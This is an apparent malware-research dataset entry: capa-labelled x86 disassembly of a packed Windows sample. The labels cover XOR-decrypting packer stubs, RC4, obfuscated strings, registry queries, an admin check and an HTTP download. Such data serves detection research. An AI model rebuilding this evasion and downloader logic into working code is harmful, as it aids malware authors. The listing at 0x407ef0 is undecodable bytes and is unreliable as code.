joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ac0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 0x14]
cmp ecx, 0x10
jb 0x405ad6
mov eax, dword [edi]
jmp 0x405ad8
mov eax, edi
mov esi, dword [edi + 0x10]
add esi, eax
cmp ecx, 0x10
jb 0x405ae4
mov edi, dword [edi]
xor eax, eax
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x1c], 0
cmp eax, 7
je 0x405b27
push 1
push eax
lea ecx, [ebp - 0x2c]
call fcn.00407c10
test al, al
je 0x405b27
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
cmovae eax, dword [ebp - 0x2c]
xor ecx, ecx
mov word [eax], cx
push dword [ebp - 4]
lea ecx, [ebp - 0x2c]
push esi
push edi
call fcn.00408fb0
push 0x44
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00415790
add esp, 0xc
mov dword [ebp - 0x78], 0x44
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
cmovae eax, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405b92
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
xor esi, esi
jmp 0x405b97
mov esi, 1
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x405bac
inc ecx
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x2c]
call fcn.00407bb0
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409440
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
push ecx
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], esi
call fcn.004095d0
push ecx
lea ecx, [ebp - 0x18]
call fcn.004095d0
mov eax, dword [ebp - 0x24]
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
mov dword [ebp - 8], eax
cmp dword [edi + 0x14], 0x10
jb 0x40948d
mov eax, dword [edi]
mov dword [ebp - 4], eax
jmp 0x409490
mov dword [ebp - 4], edi
xor edx, edx
mov esi, dword [ebp - 4]
mov eax, ebx
add ecx, ebx
div dword [edi + 0x10]
mov al, byte [edx + esi]
mov edx, dword [ebp - 8]
mov byte [edx + ecx], al
mov byte [ecx], bl
inc ebx
mov ecx, dword [ebp - 0x18]
cmp ebx, 0x100
jl 0x409480
mov esi, dword [ebp - 0xc]
mov ebx, ecx
xor edi, edi
mov dword [ebp - 4], 0x100
mov edx, ebx
mov eax, dword [ebp - 8]
movzx ecx, byte [edx]
movzx eax, byte [edx + eax]
add eax, ecx
add edi, eax
and edi, 0x800000ff
jns 0x4094e1
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebx + edi]
mov byte [edx], al
inc edx
sub dword [ebp - 4], 1
mov byte [ebx + edi], cl
jne 0x4094c3
mov ebx, dword [ebp + 8]
mov ecx, dword [esi + 0x10]
mov eax, dword [ebx + 0x10]
cmp eax, ecx
ja 0x409516
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x40950e
mov ecx, dword [esi]
mov byte [ecx + eax], 0
jmp 0x409522
mov ecx, esi
mov byte [ecx + eax], 0
jmp 0x409522
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.00407e70
xor eax, eax
xor edi, edi
xor edx, edx
cmp dword [ebx + 0x10], eax
jbe 0x4095af
inc edx
and edx, 0x800000ff
jns 0x409542
dec edx
or edx, 0xffffff00
inc edx
mov ecx, dword [ebp - 0x18]
mov dword [ebp + 8], edx
movzx edx, byte [ecx + edx]
add eax, edx
and eax, 0x800000ff
jns 0x40955c
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [ebp + 8]
mov dword [ebp - 8], eax
mov al, byte [ecx + eax]
mov byte [ecx + esi], al
mov eax, dword [ebp - 8]
mov byte [ecx + eax], dl
mov eax, esi
movzx ecx, byte [ecx + eax]
add ecx, edx
cmp dword [ebx + 0x14], 0x10
movzx eax, cl
mov ecx, dword [ebp - 0x18]
movzx edx, byte [eax + ecx]
jb 0x40958a
mov eax, dword [ebx]
jmp 0x40958c
mov eax, ebx
mov esi, dword [ebp - 0xc]
cmp dword [esi + 0x14], 0x10
jb 0x409599
mov ecx, dword [esi]
jmp 0x40959b
mov ecx, esi
mov al, byte [eax + edi]
xor al, dl
mov edx, dword [ebp + 8]
mov byte [ecx + edi], al
inc edi
mov eax, dword [ebp - 8]
cmp edi, dword [ebx + 0x10]
jb 0x409531
lea ecx, [ebp - 0x18]
call fcn.00407070
lea ecx, [ebp - 0x24]
call fcn.00407070
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a190
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
push 0
push 0
mov esi, ecx
mov byte [ebp - 1], 0
mov cl, 0x4d
mov dword [ebp - 0xc], 0
push 0
mov al, 0xe
mov byte [ebp - 5], cl
xor al, cl
mov byte [ebp - 1], 0
push 0
mov byte [ebp - 4], al
mov dl, 0x77
lea eax, [ebp - 0xc]
mov bl, 0x11
push eax
push 0
push 0
lea eax, [ebp - 4]
xor dl, cl
xor bl, cl
mov byte [ebp - 3], dl
push eax
mov byte [ebp - 2], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
sub esp, 8
lea ecx, [ebp - 0xa8]
call fcn.0040a5e0
push dword [ebp - 0xc]
lea ecx, [ebp - 0xa8]
call fcn.0040ac10
push esi
lea ecx, [ebp - 0xa4]
call fcn.0040ba90
lea ecx, [ebp - 0x58]
call fcn.0040a560
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], vtable.std::ios_base.0
push eax
call fcn.0041170d
add esp, 4
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a230
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
movaps xmm0, xmmword [0x43baa0]
movups xmmword [ebp - 0x26], xmm0
push esi
movaps xmm0, xmmword [0x43bac0]
mov esi, ecx
mov dword [ebp - 0x2c], 0x80
xor ecx, ecx
movups xmmword [ebp - 0x16], xmm0
mov word [ebp - 6], 0x49
mov al, byte [ebp - 0x26]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0x20
jb 0x40a261
lea eax, [ebp - 4]
mov byte [ebp - 5], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x25]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a2da
movaps xmm0, xmmword [0x43ba10]
xor ecx, ecx
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x352225
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0x12
jb 0x40a2a4
lea eax, [ebp - 0x2c]
mov byte [ebp - 5], 0
push eax
lea eax, [ebp - 0xac]
push eax
push 0
push 0
lea eax, [ebp - 0x17]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp byte [ebp - 0xac], 0
jne 0x40a30c
xor ecx, ecx
lea eax, [ebp - 0xac]
push ecx
push eax
mov ecx, esi
call fcn.004073c0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xac]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a315
sub ecx, edx
lea eax, [ebp - 0xac]
push ecx
push eax
mov ecx, esi
call fcn.004073c0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d740
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20ec
call fcn.004136d0
push ebx
push esi
mov al, 0x14
mov dword [ebp - 0x18], 0x7b0059
mov esi, ecx
mov byte [ebp - 0x1a], al
push edi
mov ebx, edx
mov dword [ebp - 0x14], 0x7d006e
mov dword [ebp - 0x10], 0x780078
xor ecx, ecx
mov dword [ebp - 0xc], 0x3b0075
mov dword [ebp - 8], 0x3a0021
mov dword [ebp - 4], 0x24
cbw
xor word [ebp + ecx*2 - 0x18], ax
inc ecx
cmp ecx, 0xb
jae 0x40d797
mov al, byte [ebp - 0x1a]
jmp 0x40d785
xor eax, eax
mov dword [ebp - 0x24], 7
mov word [ebp - 2], ax
mov dword [ebp - 0x28], eax
mov word [ebp - 0x38], ax
cmp word [ebp - 0x18], ax
jne 0x40d7b5
xor ecx, ecx
jmp 0x40d7cf
lea ecx, [ebp - 0x18]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d7c0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.00407160
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push 0
cmovae eax, dword [ebp - 0x38]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ecx, dword [ebp - 0x24]
mov edi, eax
cmp ecx, 8
jb 0x40d80d
inc ecx
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x38]
call fcn.00407bb0
xor eax, eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], 0
mov word [ebp - 0x38], ax
test edi, edi
je 0x40d84d
cmp dword [esi + 0x14], 0x10
jb 0x40d82d
mov esi, dword [esi]
push 0
push 0x84000000
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40d859
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
sub esp, 0xc
lea ecx, [ebp - 0xe8]
push ebx
call fcn.0040daa0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xdc], 6
je 0x40d8a0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea ecx, [ebp - 0xe8]
mov esi, 1
call fcn.0040d950
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x20]
push eax
push 0x2000
lea eax, [ebp - 0x20e8]
push eax
push esi
call ebx
test eax, eax
je 0x40d8f3
nop dword [eax]
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40d8f3
push 0
push eax
lea eax, [ebp - 0x20e8]
push eax
lea ecx, [ebp - 0xe8]
call fcn.0040e3c0
lea eax, [ebp - 0x20]
push eax
push 0x2000
lea eax, [ebp - 0x20e8]
push eax
push esi
call ebx
test eax, eax
jne 0x40d8c0
lea ecx, [ebp - 0xe4]
call fcn.0040e910
test eax, eax
jne 0x40d92d
mov eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xe8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00409f30
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea ecx, [ebp - 0xe8]
xor esi, esi
call fcn.0040d950
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
push esi
push edi
cmp ecx, 0xffffffff
jne 0x40e161
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x20]
mov edx, dword [eax]
test edx, edx
je 0x40e193
mov esi, dword [ebx + 0x30]
mov edi, dword [esi]
lea eax, [edi + edx]
cmp edx, eax
jae 0x40e193
lea eax, [edi - 1]
mov dword [esi], eax
mov ecx, dword [ebx + 0x20]
mov edx, dword [ecx]
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov byte [edx], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x4c], 0
jne 0x40e1a5
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x40e1c6
mov ecx, dword [ebx + 0x50]
mov edx, dword [ebx + 0x54]
mov dword [esi], ecx
sub edx, ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [eax], edx
cmp dword [ebx + 0x38], 0
jne 0x40e1ef
push dword [ebx + 0x4c]
movsx eax, cl
push eax
call fcn.00419eb3
or ecx, 0xffffffff
add esp, 8
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
mov byte [esp + 0x13], cl
lea ecx, [esp + 0x1c]
push 8
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
call fcn.0040b910
mov esi, dword [esp + 0x2c]
nop dword [eax]
cmp esi, 0x10
lea eax, [esp + 0x10]
mov esi, dword [ebx + 0x38]
lea ecx, [esp + 0x18]
cmovae ecx, dword [esp + 0x18]
lea edx, [esp + 0x18]
cmovae edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x2c]
mov edi, dword [esi]
add eax, ecx
push eax
push edx
lea eax, [esp + 0x20]
mov ecx, esi
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x23]
push eax
lea eax, [ebx + 0x40]
push eax
call dword [edi + 0x1c]
test eax, eax
js 0x40e301
cmp eax, 1
jg 0x40e2da
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0x18]
mov ecx, dword [esp + 0x18]
cmp esi, 0x10
mov edi, dword [esp + 0x10]
cmovae eax, ecx
sub edi, eax
je 0x40e2a7
push dword [ebx + 0x4c]
cmp esi, 0x10
lea eax, [esp + 0x1c]
push edi
cmovae eax, ecx
push 1
push eax
call fcn.0041a79c
mov esi, dword [esp + 0x3c]
add esp, 0x10
cmp edi, eax
jne 0x40e305
lea eax, [esp + 0xf]
mov byte [ebx + 0x3d], 1
cmp dword [esp + 0x14], eax
jne 0x40e2d5
test edi, edi
jne 0x40e220
cmp dword [esp + 0x28], 0x20
jae 0x40e305
push edi
push 8
lea ecx, [esp + 0x20]
call fcn.00407e70
jmp 0x40e215
mov ebx, dword [ebp + 8]
jmp 0x40e308
cmp eax, 3
jne 0x40e301
push dword [ebx + 0x4c]
movsx eax, byte [esp + 0x13]
push eax
call fcn.00419eb3
mov esi, dword [esp + 0x34]
or ecx, 0xffffffff
add esp, 8
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
mov ebx, ecx
jmp 0x40e308
mov esi, dword [esp + 0x2c]
or ebx, 0xffffffff
cmp esi, 0x10
jb 0x40e31e
lea ecx, [esi + 1]
push ecx
push dword [esp + 0x1c]
lea ecx, [esp + 0x20]
call fcn.004079e0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40e700
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40e822
cmp byte [ebx + 0x3d], 0
je 0x40e822
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x40e737
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 8
lea ecx, [esp + 0x18]
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], 0
mov byte [esp + 0x18], 0
call fcn.0040b910
mov ecx, dword [esp + 0x24]
nop dword [eax]
cmp ecx, 0x10
lea eax, [esp + 0xc]
mov ecx, dword [ebx + 0x38]
lea edi, [esp + 0x10]
cmovae edi, dword [esp + 0x10]
lea esi, [esp + 0x10]
cmovae esi, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x24]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40e7a5
sub eax, 1
je 0x40e7a9
mov ecx, dword [esp + 0x24]
sub eax, 2
je 0x40e803
xor bl, bl
jmp 0x40e805
mov byte [ebx + 0x3d], 0
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x10]
mov edx, dword [esp + 0x10]
cmp ecx, 0x10
mov esi, dword [esp + 0xc]
cmovae eax, edx
sub esi, eax
je 0x40e7e4
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [esp + 0x14]
push esi
cmovae eax, edx
push 1
push eax
call fcn.0041a79c
mov ecx, dword [esp + 0x34]
add esp, 0x10
cmp esi, eax
jne 0x40e7a1
cmp byte [ebx + 0x3d], 0
je 0x40e803
test esi, esi
jne 0x40e760
push esi
push 8
lea ecx, [esp + 0x18]
call fcn.00407e70
jmp 0x40e759
mov bl, 1
cmp ecx, 0x10
jb 0x40e819
inc ecx
push ecx
push dword [esp + 0x14]
lea ecx, [esp + 0x18]
call fcn.004079e0
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f7e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x104
cmp dword [eax + 0x14], 0x10
push esi
mov esi, ecx
jb 0x40f7f7
mov eax, dword [eax]
lea ecx, [ebp + 8]
push ecx
push 0x20019
push 0
push eax
push dword [edx]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f835
push 0
mov dword [esi + 0x14], 0xf
mov ecx, esi
mov dword [esi + 0x10], 0
push 0x43b500
mov byte [esi], 0
call fcn.004073c0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], 0xff
cmp dword [eax + 0x14], 0x10
jb 0x40f847
mov eax, dword [eax]
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x104]
push ecx
push 0
push 0
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
test eax, eax
je 0x40f880
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x43b500
mov ecx, esi
call fcn.00406eb0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x104]
mov ecx, esi
push eax
call fcn.00406eb0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x410410
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
mov word [ebp - 0xc], 0x500
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x41045e
xor al, al
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 4], 1
sete al
mov esp, ebp
pop ebp
ret
Function at 0x422af5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422974

Function at 0x426950
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00426610

Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
stc
ret 0x88d4
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x7a]
push eax
mov eax, dword [ebp + 0x10]
push 0x16
push ecx
mov ebp, dword [ebx]
or al, 0x52
mov edx, dword [ebp + 8]
push 0x4f
push edx
call 0x407ef0
add esp, 0x1c
pop ebp
nop
nop
nop
nop
nop
nop
nop
xor byte [eax - 0x7ce574ab], dl
adc al, 0xc5
jge 0x407f09
dec edi
jl 0x407f03
wait
inc ebp
adc byte [esi], cl
add byte [eax], al
fld qword [ebp - 0xf]
adc dword [0x3406c2ee], ebx
mov ecx, dword [ebp - 0x5f]
sbb cl, byte [ebx + 0x3356205d]
not byte [edi - 0x21]
loopne 0x407ea3
ret 0x3406
xchg esp, edi
mov dword [ecx], ebx
test bl, 5
mov edi, ebx
jp 0x407f33
fld qword [ebp + 0x71]
fchs
fstp qword [ebp - 0x28]
mov dword [ecx], 1
mov ecx, dword [ebp + 0xc]
sahf
push ebp
or byte [edx + 0x5b], ah
in al, dx
push eax
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_modf]
fstp qword [ebp + 8]
fld qword [ebp - 0x14]
fcomp qword [0x40c230]
add esp, 0xc
fnstsw ax
test ah, 0x44
jnp 0x407fcd
lea esi, [ebx + 0x50]
cmp esi, ebx
leave
pop eax
popal
inc ebp
in al, dx
mov bh, 0x1d
xor dl, al
inc eax
add bh, bl
loopne 0x407f64
les eax, [ebx + ecx*8 + 0x36]
fld qword [ebp + 0x65]
fmul qword [0x384210]
lea eax, [ebp - 0x14]
rol byte [ebx + 0x1cdda2ec], 0x2b
dec dword [eax]
sbb cl, al
inc eax
add ch, bl
pop ebp
hlt
fld qword [ebp + 0x54]
fdiv qword [ebp + 0x30]
ret 0x40
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x6aef6267
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x45e170ed
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x4599f8], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4599f8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4599fc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x459a00], eax
call edi
push eax
call esi
mov dword [0x459a08], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x459a04], eax
mov eax, dword [0x459a04]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x459a08], ecx
je 0x41fc78
push eax
call esi
push dword [0x459a08]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x4599fc]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x459a00]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4599f8]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x10c85491
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x1f0657e1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219